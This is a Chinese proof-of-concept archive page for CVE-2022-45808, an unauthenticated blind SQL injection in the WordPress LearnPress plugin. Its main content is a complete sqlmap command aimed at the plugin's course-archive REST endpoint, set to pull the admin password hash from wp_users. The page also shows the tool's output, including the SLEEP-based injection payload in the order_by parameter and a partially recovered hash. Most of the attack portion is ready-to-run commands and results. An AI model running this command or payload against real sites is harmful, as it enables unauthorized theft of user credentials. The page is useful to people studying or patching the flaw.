POC详情: 384a352fd0bf4dcea853462a8b257afd4232233b

来源
关联漏洞
标题: WordPress Plugin LearnPress SQL注入漏洞 (CVE-2022-45808)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin LearnPress 4.1.7.3.2及之前版本存在SQL注入漏洞,该漏洞源于存在SQL注入。
描述
LearnPress Plugin < 4.2.0 - Unauthenticated SQLi
介绍
# CVE-2022-45808
LearnPress Plugin &lt; 4.2.0 - Unauthenticated time-based blind SQLi

# Description
The plugin does not properly sanitise and escape the order by parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users

POC
---

```
$ python sqlmap.py -u 'http://wordpress.lan:80/wp-json/lp/v1/courses/archive-course' --data='c_search=X&order_by=ID&order=DESC&limit=10&return_type=html' --level=5 --risk=3 --dbms='MySQL ' --sql-query "select user_pass from wp_users where id = 1"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.8.2#dev}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:42:20 /2023-08-18/

[16:42:20] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('_learn_press_session_ecdcb476a7a41733a2e77015a9cd81cf=1465cc7e87c...bc806e4a24'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: order_by (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: c_search=X&order_by=ID AND (SELECT 1471 FROM (SELECT(SLEEP(5)))VcSO)&order=DESC&limit=10&return_type=html
---
[16:42:22] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[16:42:37] [INFO] confirming MySQL
[16:42:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[16:42:48] [INFO] adjusting time delay to 1 second due to good response times
[16:42:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.0.30, Apache 2.4.56
back-end DBMS: MySQL >= 8.0.0
[16:42:48] [INFO] fetching SQL SELECT statement query output: 'select user_pass from wp_users where id = 1'
[16:42:48] [INFO] retrieved: 1
[16:42:50] [INFO] retrieved: $P$BTMtNrAkEBrIUt
```
文件快照

[4.0K] /data/pocs/384a352fd0bf4dcea853462a8b257afd4232233b ├── [ 34K] LICENSE └── [2.3K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。